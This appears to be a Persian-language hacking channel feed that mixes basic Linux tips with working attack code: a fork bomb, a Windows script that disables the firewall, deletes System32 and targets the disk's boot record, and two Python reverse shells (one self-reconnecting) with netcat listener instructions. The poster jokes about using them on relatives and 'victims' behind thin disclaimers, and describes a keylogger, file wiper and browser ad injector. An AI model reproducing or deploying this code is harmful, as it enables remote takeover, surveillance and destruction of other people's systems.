💻
فرق > و >> در لینوکس؟
> محتویات فایل رو بازنویسی می‌کنه.
>> خروجی رو به انتهای فایل اضافه می‌کنه.


#Linux #KaliLinux #LightKali #Bash #Tyger

یه ۲ خط کد = نابود کردن سیستم طرف😈

import os
while True:
    os.fork()

بهش میگن بمب fork
پدر و مادر cpu ram رو یکی میکنه باعث میشه یا بسوزه یا هم ضعیف بشه

لطفا درست استفاده کنید، این فقط آموزش است و ما مسئولیتی در قبال استفاده نادرست ازش نداریم. 🌹

#OS #آموزش #ℳℴ𝒷𝒾𝓃

حتی میشه خیلی وحشی تر هم کردش:

import os
import shutil
import ctypes

# غیرفعال کردن فایروال
os.system("netsh advfirewall set allprofiles state off")

# حذف فایل های مهم
shutil.rmtree("C:\\Windows\\System32", ignore_errors=True)

# پاک کردن MBR
ctypes.windll.kernel32.CreateFileW("\\\\.\\PhysicalDrive0", 0x10000000, 0, None, 3, 0, None)

تو کامند ها توضیح دادم 😈😈

#OS #آموزش #ℳℴ𝒷𝒾𝓃

🗿🗿🗿

import socket
import subprocess
import os

# آدرس و پورت سیستم مهاجم (خودت)
ATTACKER_IP = "192.168.1.100"
ATTACKER_PORT = 4444

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ATTACKER_IP, ATTACKER_PORT))

# هدایت ورودی/خروجی به سوکت
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)

# اجرای شل
subprocess.call(["/bin/sh", "-i"])

کد بالا کد شل معکوس (Reverse Shell) هست

استفاده ازش آسونه نگاه کنید

باید مثل همیشه یه شنود بزنی رو سیستم خودت:

nc -lvnp 4444

بعد کد بالا رو بزنید رو همسایه‌ای فامیلی بچه فامیلی چیزی بزنید

حالا توی ترمینال nc میتونی هر دستوری بزنی و جوابش رو ببینی

این کد روی لینوکس یا مک کار میکنه برای ویندوز باید cmd.exe بذاری به جای /bin/sh

برید فقط با اجازه تست بکنید این کد برای کار های قانونی هست🗿

#Reverse_Shell #آموزش #ℳℴ𝒷𝒾𝓃

⌨️ Windows Keylogger — تحلیل یک Keylogger با C++

این کد نمونه‌ای از یک Keylogger مبتنی بر Windows API است که با استفاده از "WH_KEYBOARD_LL" رویدادهای صفحه‌کلید را دریافت می‌کند.

🔹 دریافت رویدادهای Keyboard
🔹 تشخیص پنجره فعال با "GetForegroundWindow()"
🔹 ثبت عنوان پنجره
🔹 تبدیل بعضی کلیدها به کاراکتر
🔹 ذخیره اطلاعات در فایل "sys_log.dat"
🔹 اجرای بدون نمایش پنجره کنسول با "FreeConsole()"

🧠 نکته امنیتی:
Keyloggerها می‌توانند برای سرقت اطلاعات حساس مثل رمز عبور، پیام‌ها و اطلاعات شخصی استفاده شوند. به همین دلیل شناخت رفتارهایی مثل Keyboard Hook و ثبت فایل‌های لاگ برای تحلیل Malware و دفاع سایبری مهم است.

⚠️ این نوع کد را فقط در محیط آزمایشگاهی و روی سیستمی که مالک آن هستید بررسی کنید (ماشین مجازی).

#CyberSecurity #Keylogger #Tyger

🧨 File Wiper — تحلیل رفتار تخریب فایل

این نمونه کد رفتار یک File Wiper را نشان می‌دهد؛ نوعی Malware که هدفش از بین بردن یا غیرقابل‌بازگشت کردن فایل‌های سیستم است.

🔹 پیدا کردن مسیرهای حساس کاربر
🔹 بازنویسی محتوای فایل
🔹 حذف فایل‌ها
🔹 حذف پوشه‌ها
🔹 هدف قرار دادن مسیرهایی مثل ".ssh" و ".gnupg"

🧠 برای تحلیل‌گر امنیتی:
شناخت این رفتارها برای تشخیص Malware، بررسی Incident و طراحی Detection Rule اهمیت زیادی دارد.

⚠️ اجرای این نمونه روی سیستم اصلی خطرناک است و می‌تواند باعث از دست رفتن دائمی اطلاعات شود. برای تمرین از یک VM ایزوله و نمونه‌ی شبیه‌سازی‌شده استفاده کنید.

#CyberSecurity #File_Wiper #Tyger

🐧 لینوکس در ۳۰ ثانیه | فرق "sudo" و "su"

تا حالا شده توی ترمینال ببینی یکی می‌نویسه "sudo" و یکی "su" و ندونی دقیقاً فرقشون چیه؟ 👀

▪️"sudo"
یعنی فقط همین یک دستور رو با دسترسی بالاتر اجرا کن.
مثلاً:
"sudo apt update"

▪️"su"
یعنی وارد حساب کاربری دیگه شو؛ معمولاً "root"، و تا وقتی خارج نشی با همون کاربر کار می‌کنی.
مثلاً:
"su -"

پس یادت باشه:

"sudo" → اجرای یک دستور با دسترسی بالا ⚡
"su" → تغییر کاربر 🔄

#Linux #KaliLinux #LightKali #LinuxTips #Terminal #Tyger

از این به بعد فایل های حساس رو روی اپلودر اپ میکنیم

سایت رایگان جهت تست آسیب‌پذیری XSS
https://wendigoscyber.github.io/xss
رایگان بدون تبلیغات استفاده کنید لذت ببرید. می‌تونید اسکنرهای XSS رو روش تست کنید.
چند نوع آسیب‌پذیری عالی داره

#XSS #آموزش #ℳℴ𝒷𝒾𝓃

خارج از موضوع بریم فضا

🔐 ‌Permission در لینوکس در ۳۰ ثانیه!

توی لینوکس هر فایل و پوشه‌ای یک سری دسترسی داره:
r برای خواندن، w برای نوشتن و x برای اجرا.

این تصویر رو ذخیره کن، چون Permission یکی از چیزهاییه که دیر یا زود توی لینوکس بهش برمی‌خوری. 🐧

#Linux #KaliLinux #LightKali #Tyger

کد گاد شل معکوس آوردم که اگه قطع بشه خودکار دوباره وصل میشه...

اول گوش بزنید:

nc -lvnp 4444

بعد کد رو تو سیستم بدبخت اوکی کنید:

import socket
import subprocess
import time

ATTACKER_IP = "127.0.0.1"
ATTACKER_PORT = 4444
RECONNECT_DELAY = 5

def connect():
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ATTACKER_IP, ATTACKER_PORT))
            return s
        except:
            time.sleep(RECONNECT_DELAY)

def main():
    s = connect()
    while True:
        try:
            cmd = s.recv(4096).decode()
            if not cmd:
                break
            if cmd.strip() == "exit":
                break
            output = subprocess.run(cmd, shell=True, capture_output=True)
            s.send(output.stdout + output.stderr)
        except:
            s.close()
            s = connect()

if __name__ == "__main__":
    main()

اگه ویندوز باشه، subprocess.run با shell=True کار میکنه و دستورات cmd اجرا میشن. اگه لینوکس باشه، دستورات شل حالا اینا رو ول کن توی ترمینال nc هر دستوری بزنی، روی سیستم قربانی اجرا میشه و جوابش رو میبینی😈 اگه ارتباط قطع بشه، خودش بعد از ۵ ثانیه دوباره وصل میشه به اون بدبخت.

#Reverse_Shell #آموزش #ℳℴ𝒷𝒾𝓃

🕷 Browser Ad Injector | وقتی مرورگر بدون اجازه تغییر می‌کند

این اسکریپت با شناسایی پروفایل Chrome، Edge و Firefox، کدهای تبلیغاتی را داخل فایل‌های مرورگر تزریق می‌کند و فایل hosts سیستم را نیز تغییر می‌دهد.

⛓️ بخش جالب ماجرا، اجرای مداوم آن است؛ اسکریپت هر چند دقیقه دوباره تغییرات را اعمال می‌کند تا فعالیتش ادامه داشته باشد.

🔎 برای تحلیل Malware، رفتارهایی مثل File Modification، Hosts Modification و Persistence-like Behavior از مهم‌ترین مواردی هستند که باید زیر نظر گرفته شوند.

⚠️ فقط در VM ایزوله + Snapshot تحلیل شود.

----------------------------------------------------------

#MalwareAnalysis #CyberSecurity #Linux #KaliLinux #LightKali
#Tyger